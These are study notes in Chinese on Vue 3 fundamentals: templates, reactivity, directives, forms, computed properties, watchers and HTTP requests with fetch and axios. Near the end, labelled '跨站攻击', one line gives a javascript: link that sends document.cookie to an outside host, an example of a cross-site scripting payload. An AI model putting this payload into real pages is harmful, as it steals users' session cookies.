Vue3 基础

一、概述

1. Vue 简介

  • Vue(发音为 /vjuː/,类似 view)是一款用于构建用户界面的 JavaScript 框架。它基于标准 HTML、CSS 和 JavaScript 构建,并提供了一套声明式的、组件化的编程模型,帮助用户高效地开发用户界面。无论是简单还是复杂的界面,Vue 都可以胜任
  • 官网:https://cn.vuejs.org/

2. 环境搭建

(1) CND

  • 通过 CDN 使用 Vue 时,不涉及“构建步骤”。这使得设置更加简单,并且可以用于增强静态的 HTML 或与后端框架集成。但是无法使用单文件组件(SFC)语法
1
<script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>

(2) Vue CLI

  • Vue CLI 是官方提供的基于 Webpack 的 Vue 工具链,它现在处于维护模式。建议使用 Vite 开始新的项目,除非需要依赖特定的 Webpack 的特性

(3) Vite

  • Vite 是一个轻量级的、速度极快的构建工具,对 Vue SFC 提供第一优先级支持。作者是尤雨溪
1
$ npm init vue@latest

二、基础

1. 模板语法

(1) HelloWorld

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<div id="box">
{{10+20}}
</div>
{{10+20}}
<div id="box2">
{{ myname }}
</div>

<script>
Vue.createApp().mount("#box")
var app = Vue.createApp({
data() {
return {
myname: "lb"
}
}
}).mount("#box2")
</script>

JS 中的全局变量可以直接在 console 中使用,如 app.myname = test

(2) 双向绑定原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// Vue2:无法监听数组的改变,无法监听class改变,无法监听Map/Set结构
var obj = {}
var obox = document.getElementById("box")
Object.defineProperty(obj,"myname",{
get(){ // obj.myname
console.log("get")
return obox.innerHTML
},
set(value){ // obj.myname = test
console.log("set",value)
obox.innerHTML = value
}
})

// vue3:基于ES6 Proxy,后期加的属性也可以被监听
var obj = {}
var vm = new Proxy(obj,{
get(obj,key){ // vm.a
console.log("get")
return obj[key]
},
set(obj,key,value){ // vm.a = 1
console.log("set")
obj[key] = value
box.innerHTML = value
}
})

(3) 模板语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 数据绑定
{{msg}}

// 表达式
{{ num + 1 }}
{{ ok ? 'yes' : 'no' }}
{{ msg.split(' ').reverse().join('') }}

// v-bind
<div v-bind:id="dynamicId"></div> // 如果值为null或undefined,则移除该属性
<div :id="`list-${id}`"></div>
<div :disabled="isDisabled"></div> // 值为false则取消禁用
<img v-bind="imgAttr"> // imgAttr: {src: "", alt: ""}
<span v-html="rawHtml"></span> // 注意避免xss攻击

<div :class="classObj"></div> // classObj: {aaa: true, 'bbb-1': true}
<div :class="classArr"></div> // classArr: ['aaa', 'bbb-1']
<div :style="styleObj"></div> // styleObj: {backgroundColor: 'red', fontSize: '20px'}
<div :style="styleArr"></div> // styleArr: [{backgroundColor: 'red'}, {fontSize: '20px'}]

// 指令
<a v-on:click="doSomething"> ... </a>
<a @click="doSomething"> ... </a>
methods:{
doSomething() {
console.log("click",this) // 这里的this就是app
this.isShow = !this.isShow
}
}

(4) CRUD Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!-- <input type="text" @input="handleInput"> -->
<input type="text" v-model="mytext">
<button @click="handleAdd">add</button>
<ul>
<li v-for="item,index in datalist">
{{item}}
<button @click="handleDel(index)">del</button>
</li>
</ul>
<div v-show="datalist.length===0">无数据</div>

data() {
return {
mytext: "",
datalist:["11","22","33"],
}
},
methods:{
handleAdd(){
this.datalist.push(this.mytext)
this.mytext = ""
},
handleDel(index){
this.datalist.splice(index,1)
}
// handleInput(evt){
// this.mytext = evt.target.value
// }
}

2. 条件渲染

  • v-if 在切换时,条件区块内的事件监听器和子组件都会被销毁与重建
  • v-if 是惰性的,条件区块只有当条件首次变为 true 时才被渲染,而 v-show 无论初始条件如何,始终会被渲染
1
2
3
4
5
<template v-if="state===0">
<div>1111</div>
</template>
<div v-else-if="state===1">222</div>
<div v-else>333</div>

3. 列表渲染

1
2
3
4
5
6
7
8
<!-- 尽量不同时使用v-for和v-if -->
<template v-for="({title,state},index) in/of datalist" >
<li v-if="state===current">
{{title}}--{{index}}
</li>
</template>

<li v-for="(value,key,index) in/of itemObj">...</li>
  • Vue 默认按照“就地更新”的策略来更新通过 v-for 渲染的元素列表。当数据项的顺序改变时,Vue 不会随之移动 DOM 元素的顺序,而是就地更新每个元素,确保它们在原本指定的索引位置上渲染
  • 可以为每个元素对应的块提供一个唯一的 key attribute,以便它可以跟踪每个节点的标识,从而重用和重新排序现有的元素
1
<div v-for="item in items" :key="item.id">...</div>
  • 虚拟 DOM本质是 JS 对象,是真实 DOM 和数据之间的“缓冲层”。通过快速对比 JS 对象(DIFF 算法),避免重复渲染真实 DOM
  • 数组变动侦测:Vue 能够侦听响应式数组的变更方法,并在它们被调用时触发相关的更新(pushpopshiftunshiftsplicesortreverse)。对于一些不可变方法(filterconcatslice),这些不会改变原数组,而是返回一个新数组,需要重新赋值
1
this.items = this.items.filter((item) => item.message.match(/Foo/))
  • 案例:模糊搜索
1
2
3
4
5
6
7
8
9
<li v-for="(item,index) in getList()">
{{item}}
</li>

methods:{
getList(evt){
return this.datalist.filter(item=>item.includes(this.mytext))
}
}

4. 事件处理器

1
2
3
4
5
6
7
<!-- 内联事件处理器 -->
<button @click="count++">Add 1</button>
<button @click="test('hello',$event)">test hello</button>

<!-- 方法事件处理器 -->
<button @click="test">test</button>
<button @click="(evt)=>test(1,2,evt)">test evt</button>
  • 事件修饰符
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!--
stop:阻止事件冒泡(stopPropagation)
prevent:阻止默认行为
self:子节点的冒泡事件不会触发
capture:事件在捕获阶段被触发
once:只触发一次
passive:一般用于触摸事件的监听器,用来改善移动端设备的滚屏性能
-->

<ul @click.self="handleUlClick()">
<!-- stop stopPropagation -->
<li @click.stop="handleClick1()">1111</li>
<li @click="handleClick2()">2222</li>
</ul>

<form action="" @submit.prevent="handleSubmit()">
<button type="submit">登录</button>
</form>

<button @click.once="handleStar">抽奖</button>
  • 按键修饰符
1
2
3
<!-- enter / tab / delete / esc / space / up / down / left / right -->
<input type="text" v-model="mytext" @keyup.enter.ctrl="handleKeyup">
<input type="text" @keyup.a="handleTest">

5. 表单控件绑定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<input v-model="message" placeholder="edit me" />

<input type="checkbox" id="checkbox" v-model="checked" />

<input type="radio" id="one" value="One" v-model="picked" />

<select v-model="selected">
<option disabled value="">Please select one</option>
<option :value="0">A</option> // number类型
<option :value="1">B</option>
<option :value="2">C</option>
</select>

<div> // 同radio
<input type="checkbox" v-model="favList" value="篮球">篮球
<input type="checkbox" v-model="favList" value="足球">足球
<input type="checkbox" v-model="favList" value="乒乓球">乒乓球
</div>
  • 表单修饰符
1
2
3
4
5
6
7
8
<!-- 失去焦点后更新(change事件后更新而不是input) -->
<input v-model.lazy="msg" />

<!-- 用户输入自动转换为数字(会在输入框type=number时自动启用) -->
<input v-model.number="age" />

<!-- 自动去除用户输入内容中两端的空格 -->
<input v-model.trim="name" />
  • 案例:购物车
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<ul>
<li>
<div>
<input type="checkbox" :checked="checkList.length>0 && checkList.length===datalist.length" @change="handleAllChange">
<span>全选/全不选</span>
</div>
</li>
<template v-if="datalist.length">
<li v-for="(item,index) in datalist" :key="item.id" >
<div>
<input type="checkbox" v-model="checkList" :value="item">
</div>
<div>
<img :src="item.poster" alt="">
</div>
<div>
<div>{{item.title}}</div>
<div style="color:red;">价格:{{item.price}}</div>
</div>

<div>
<button @click="item.number--" :disabled="item.number===1">-</button>
{{item.number}}
<button @click="item.number++" :disabled="item.number===item.limit">+</button>
</div>

<div>
<button @click="handleDel(item.id)">删除</button>
</div>
</li>
</template>

<li v-else>购物车空空如也</li>

<li>
<div>总金额:{{ sum() }}</div>
</li>
</ul>

methods:{
sum(){
return this.checkList.reduce((total,item)=>total+item.price*item.number,0)
},
handleDel(id){
this.datalist = this.datalist.filter(item=>item.id!==id)
this.checkList = this.checkList.filter(item=>item.id!==id)
},
handleAllChange(){
this.checkList = this.checkList.length===this.datalist.length?[]:this.datalist
}
}

6. 计算属性和监听属性

  • 计算属性值会基于其响应式依赖被缓存(多处使用只会计算一次)。一个计算属性仅会在其响应式依赖更新时才重新计算
  • 计算属性返回的值是派生状态。可以把它看作是一个“临时快照”,每当源状态发生变化时,就会创建一个新的快照。更改快照是没有意义的,因此计算属性的返回值应该被视为只读的,并且永远不应该被更改——应该更新它所依赖的源状态以触发新的计算
1
2
3
4
5
6
7
8
9
10
11
12
<input type="checkbox" v-model="isAllChecked" >

computed:{
isAllChecked:{
get(){
return this.datalist.length===this.checkList.length
},
set(checked){
this.checkList = checked?this.datalist:[]
}
}
}
  • 不要在计算属性中发送请求或改变 DOM,可以在监听属性 watch 中操作
  • watch 选项期望接受一个对象,其中键是需要侦听的响应式组件实例属性(例如,通过 data 和 computed 声明的属性)。值是相应的回调函数,该回调函数接收被侦听源的新值和旧值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
watch: { 
// 侦听根级属性
a(val, oldVal) {
console.log(`new: ${val}, old: ${oldVal}`)
},
// 字符串方法名称
b: 'myMethod',
// 该回调将会在被侦听的对象的属性改变时调动,无论其被嵌套多深
c: {
handler(val, oldVal) {
console.log('c changed')
},
deep: true
},
// 侦听单个嵌套属性:
'c.d': function (val, oldVal) {
console.log(`new: ${val}, old: ${oldVal}`)
},
// 该回调将会在侦听开始之后立即调用
e: {
handler(val, oldVal) {
console.log('e changed')
},
immediate: true
}
}

7. 数据请求

  • XMLHttpRequest 是一个设计粗糙的 API,配置和调用方式非常混乱,而且基于事件的异步模型写起来不友好
  • Fetch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
fetch("./test.json")
.then(res=>res.json()) // res.text()
.then(res=>console.log(res))

fetch("http://localhost:3000/list",{
method:"post",
headers:{
"content-type":"application/x-www-form-urlencoded",
},
body:"name=xiaoming&age=19"
}).then(res=>res.json())
.then(res=>console.log(res))

fetch("http://localhost:3000/list",{
method:"post",
headers:{
"content-type":"application/json",
},
body:JSON.stringify({
name:"gandaner",
age:20
})
}).then(res=>res.json())
.then(res=>console.log(res))

fetch("http://localhost:3000/list/5",{
method:"put",
headers:{
"content-type":"application/json",
},
body:JSON.stringify({
name:"gandaner1111",
age:200
})
}).then(res=>res.json())
.then(res=>console.log(res))

fetch("http://localhost:3000/list/5",{
method:"delete",
}).then(res=>res.json())
.then(res=>console.log(res))
  • Axios:是一个基于 Promise 的 HTTP 库,可以用在浏览器和 node.js 中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
axios.get("http://localhost:3000/list").then(res=>{
console.log(res.data)
this.datalist = res.data
}).catch(err=>{
console.log(err)
})

axios.post("http://localhost:3000/list",{ // JSON
name:"gangdaner",
age:20
}).then(res=>{
console.log(res.data)
}).catch(err=>{
console.log(err)
})

axios.post("http://localhost:3000/list","name=zhugeshanzhen&age=30").then(res=>{ // FORM
console.log(res.data)
}).catch(err=>{
console.log(err)
})

axios.put("http://localhost:3000/list/6","name=zhugeshanzhen111&age=300").then(res=>{
console.log(res.data)
}).catch(err=>{
console.log(err)
})

axios.delete("http://localhost:3000/list/6").then(res=>{
console.log(res.data)
}).catch(err=>{
console.log(err)
})

axios({
// header:{
// }
method:"delete",
url:"http://localhost:3000/list/5",
// data:{
// "name": "gangdaner111",
// "age": 200,
// }
}).then(res=>{
console.log(res)
})

8. 过滤器

  • 在 2.x 中,开发者可以使用过滤器来处理通用文本格式。在 3.x 中,过滤器已移除,且不再支持。可以用方法调用或计算属性来替换它们

9. 其他

1
2
3
4
5
6
7
8
9
10
11
12
// 跨站攻击
<a href=javascript:location.href='http://www.baidu.com?cookie?'+document.cookie>click</a>

// 字符串包含
item.includes('a')

// 一次赋值多个
[this.year,this.month,this.day]= value.split("-")

// 简易后台服务
npm i json-server -g
json-server --watch ./test.json